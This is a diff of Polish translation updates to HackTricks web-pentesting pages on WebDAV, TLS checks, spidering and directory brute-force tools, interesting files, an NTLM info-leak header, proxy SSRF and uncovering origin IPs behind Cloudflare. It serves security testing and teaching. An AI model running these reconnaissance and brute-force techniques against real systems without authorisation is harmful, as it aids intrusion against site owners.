-Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w głównym folderze, spróbuj:
+Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w folderze głównym, spróbuj:
-* **Próbuj siłowo** dane uwierzytelniające
+* **Próbuj siłowo** hasła
* **Prześlij pliki** za pomocą WebDav do **pozostałych znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików do innych folderów.
-### **Luki w SSL/TLS**
+### **Układy SSL/TLS**
-* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na atak typu MitM**
-* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą protokołu HTTP**. To jest wysokie ryzyko.
+* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na ataki typu MitM**
+* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą HTTP**. To jest to wysokie ryzyko.
-Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty tego rodzaju luki prawdopodobnie nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia luk w zabezpieczeniach:
+Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia podatności:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -215,44 +215,44 @@ Informacje o podatnościach SSL/TLS:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
-### Spidering
+### Przeglądanie stron
-Uruchom pewnego rodzaju **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci oraz zewnętrzne źródła, aby znaleźć jak najwięcej prawidłowych ścieżek.
+Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy użyć przeglądania stron internetowych i zewnętrznych źródeł, aby znaleźć jak najwięcej prawidłowych ścieżek.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Pająk HTML, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFider dla plików JS i Archive.org jako zewnętrzne źródło.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Pająk HTML, wskazuje również "soczyste pliki".
-* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka również w Archive.org.
-* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Wystarczy wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
+* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka także w Archive.org.
+* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Możesz po prostu wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Pająk HTML z możliwościami renderowania JS. Jednak wygląda na to, że nie jest rozwijany, skompilowana wersja jest stara, a obecny kod nie kompiluje się.
-* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl).
+* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl)
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wymieni.
* [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami upiększania JS zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również spojrzeć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest nakładką na LinkFinder.
-* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych i ninja bezpieczeństwa informacji.
+* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych, ninja bezpieczeństwa informacji.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt python 2.7 używający Tornado i JSBeautifier do analizowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest rozwijany.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla danego pliku (HTML) wyodrębni adresy URL z niego, używając sprytnego wyrażenia regularnego do znalezienia i wyodrębnienia względnych adresów URL z brzydkich (zmniejszonych) plików.
-* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS, korzystając z kilku narzędzi.
+* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS za pomocą kilku narzędzi.
* [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
-* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez wyświetlania i drukuje wszystkie załadowane adresy URL do załadowania strony.
+* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez interfejsu i drukuje wszystkie załadowane adresy URL, aby załadować stronę.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji poprzednich narzędzi
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
-* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu .js.map URL uzyska uporządkowany kod JS
+* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając adres URL .js.map, uzyska uporządkowany kod JS
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Jest to narzędzie używane do odkrywania punktów końcowych dla określonego celu.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków
-* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuje (nawet poprzez wypełnianie formularzy) i znajduje również wrażliwe informacje, korzystając z określonych wyrażeń regularnych.
+* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeglądaj (nawet poprzez wypełnianie formularzy) i znajduj również informacje poufne, korzystając z określonych wyrażeń regularnych.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny pająk GUI do bezpieczeństwa sieciowego zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
-* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
+* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych ciekawych danych z kodu źródłowego JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu utworzenia niestandardowej listy słów do fuzzowania i wyliczania.
-### Brute Force katalogów i plików
+### Przemierzanie katalogów i plików metodą brutalnej siły
-Rozpocznij **brute force** od katalogu głównego i upewnij się, że **brute force** jest wykonywany na **wszystkich** znalezionych **katalogach** za pomocą **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonać to **rekurencyjnie** i dołączyć na początku używanej listy słów nazwy znalezionych katalogów).\
+Zacznij **przemierzać** od katalogu głównego i upewnij się, że **przemierzasz wszystkie znalezione katalogi** za pomocą **tej metody** oraz wszystkie katalogi **odkryte** podczas **przeglądania stron** (możesz to zrobić **rekurencyjnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
Narzędzia:
* **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**), ale funkcjonalne. Pozwalają na automatyczne podpisywanie certyfikatów i rekurencyjne wyszukiwanie. Zbyt wolne w porównaniu z innymi opcjami.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na automatyczne podpisywanie certyfikatów, ale** umożliwia rekurencyjne wyszukiwanie.
-* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma funkcji rekurencyjnego wyszukiwania.
+* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma rekurencyjnego wyszukiwania.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, obsługuje rekurencyjne wyszukiwanie.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
@@ -264,9 +264,9 @@ Narzędzia:
**Polecane słowniki:**
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
-* Słownik dołączony do [**Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
+* [**Dirsearch** dołączony słownik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
-* [Słowniki Assetnote](https://wordlists.assetnote.io)
+* [Assetnote wordlists](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
* raft-large-directories-lowercase.txt
* directory-list-2.3-medium.txt
@@ -275,30 +275,31 @@ Narzędzia:
* [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries)
* [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)
* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
+* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
* _/usr/share/wordlists/dirb/common.txt_
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnej siły lub przeszukiwania, należy go poddać atakowi brutalnej siły._
+_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnego lub przeszukiwania, należy go poddać atakowi brutalnemu._
### Co sprawdzić w każdym znalezionym pliku
-* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcia.
-* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazw kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcie
+* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazewnictwa kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym pliku wykonywalnym na stronie internetowej.
* _Wszystkie domyślne listy słów Arjuna:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner „params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote „parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de „params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Komentarze:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
-* Jeśli bawisz się w **CTF**, „powszechnym” trikiem jest **ukrycie informacji** wewnątrz komentarzy na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
+* Jeśli grasz w **CTF**, „powszechnym” trikiem jest **ukrycie** **informacji** w komentarzach na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
* **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak korzystać z kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-* Klucze API Google: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) do sprawdzenia, do których interfejsów API ma dostęp klucz.
-* **S3 Buckets**: Podczas przeszukiwania zobacz, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/).
+* Klucze Google API: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz skorzystać z projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do których interfejsów API ma dostęp klucz.
+* **S3 Buckets**: Podczas przeszukiwania zwróć uwagę, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/).
### Specjalne znaleziska
-**Podczas** przeprowadzania **przeszukiwania** i **ataków brutalnej siły** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
+**Podczas** przeszukiwania i **atakowania brutalnego** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
**Interesujące pliki**
@@ -306,14 +307,14 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
* [Jeśli znajdziesz plik _**.git**_, można z niego wyciągnąć pewne informacje](git.md)
* Jeśli znajdziesz plik _**.env**_, można w nim znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
* Jeśli znajdziesz **punkty końcowe API**, [również powinieneś je przetestować](web-api-pentesting.md). Nie są to pliki, ale prawdopodobnie będą na nie podobne.
-* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Również interesujące byłoby **monitorowanie każdego znalezionego pliku JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
+* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Ponadto, byłoby interesujące **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz na przykład użyć [**JSMon**](https://github.com/robre/jsmon)**.**
* Sprawdź znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
* **Deobfuskator i dekoder JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
-* **Upiększacz JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
+* **Uporządkowujący JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-* W kilku przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane, co będzie przydatne: [https://regex101.com/](https://regex101.com)
-* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalną nową podatną funkcjonalność.
+* W kilku sytuacjach będziesz musiał **zrozumieć wyrażenia regularne** używane, co może być przydatne: [https://regex101.com/](https://regex101.com)
+* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
**403 Forbidden/Basic Authentication/401 Unauthorized (omijanie)**
@@ -323,26 +324,26 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
**502 Proxy Error**
-Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp do** _**google.com**_ **i znajdziesz** SSRF.
+Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **serwer proxy** spróbuje uzyskać dostęp do _**google.com**_ **i w ten sposób odkryjesz** SSRF.
**Autoryzacja NTLM - Ujawnienie informacji**
-Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i proszące o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\
-**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na to, jak działa autoryzacja **NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
+Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i pytające o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\
+**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na sposób działania **autoryzacji NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
Możesz to **zautomatyzować** za pomocą **wtyczki nmap** "_http-ntlm-info.nse_".
**Przekierowanie HTTP (CTF)**
-Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie pokazywana użytkownikowi** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** w środku.
-### Sprawdzanie podatności sieci webowej
+Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** w środku.
+### Sprawdzanie podatności sieci Web
-Po przeprowadzeniu kompleksowego wyliczenia aplikacji sieci webowej nadszedł czas, aby sprawdzić wiele potencjalnych podatności. Możesz znaleźć listę kontrolną tutaj:
+Po wykonaniu kompleksowego wyliczenia aplikacji sieci Web nadszedł czas, aby sprawdzić wiele możliwych podatności. Możesz znaleźć listę kontrolną tutaj:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
{% endcontent-ref %}
-Dowiedz się więcej o podatnościach sieci webowej:
+Dowiedz się więcej o podatnościach sieci Web:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@@ -354,7 +355,7 @@ Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection
-Jeśli interesuje Cię **kariera hakera** i chcesz hakować nie do złamania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
+Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
index f7cf20380..1ad2abc8d 100644
--- a/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
+++ b/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
@@ -2,38 +2,38 @@
-Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+## Powszechne Techniki Odkrywania Cloudflare
-## Wspólne techniki odkrywania Cloudflare
-
-* Możesz użyć usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działa na adresie IP używanym wcześniej.
-* To samo można osiągnąć, **sprawdzając historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy.
-* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu udostępnienia FTP, poczty lub innej usługi).
+* Możesz skorzystać z usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działała wcześniej na adresie IP.
+* To samo można osiągnąć, sprawdzając **historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy.
+* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu oferowania FTP, poczty lub innej usługi).
* Jeśli znajdziesz **SSRF wewnątrz aplikacji internetowej**, możesz go wykorzystać, aby uzyskać adres IP serwera.
-* Wyszukaj unikalny ciąg znaków ze strony internetowej w przeglądarkach, takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP zawierający ten treść.
-* W podobny sposób, zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
-* To nie będzie działać bardzo często, ponieważ serwer musi wysyłać tę samą odpowiedź, gdy jest odwoływany przez adres IP, ale nigdy nie wiesz.
+* Wyszukaj unikalny ciąg znaków strony internetowej w przeglądarkach takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP z tym treścią.
+* W podobny sposób zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
+* To nie będzie działać zbyt często, ponieważ serwer musi wysłać tę samą odpowiedź, gdy jest odwoływany się przez adres IP, ale nigdy nie wiesz.
-## Narzędzia do odkrywania Cloudflare
+## Narzędzia do Odkrywania Cloudflare
-* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub użyj narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które korzysta z tej samej API)
+* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub skorzystaj z narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które wykorzystuje to API)
* Wyszukaj domenę w [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
-* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, następnie będzie szukać adresów IPv4 w tych certyfikatach, a na koniec spróbuje uzyskać dostęp do strony internetowej na tych adresach IP.
+* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, a następnie będzie szukać adresów IPv4 w tych certyfikatach, a ostatecznie spróbuje uzyskać dostęp do strony internetowej pod tymi adresami IP.
+* [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r to potężne narzędzie Pythona starannie opracowane, aby odkryć prawdziwy adres IP stron internetowych zabezpieczonych przez Cloudflare i inne alternatywy, powszechnie stosowaną usługę poprawiającą bezpieczeństwo i wydajność sieci. Jego głównym celem jest dokładne rozpoznanie rzeczywistego adresu IP serwerów internetowych ukrytych za osłoną ochronną Cloudflare.
* [Censys](https://search.censys.io/)
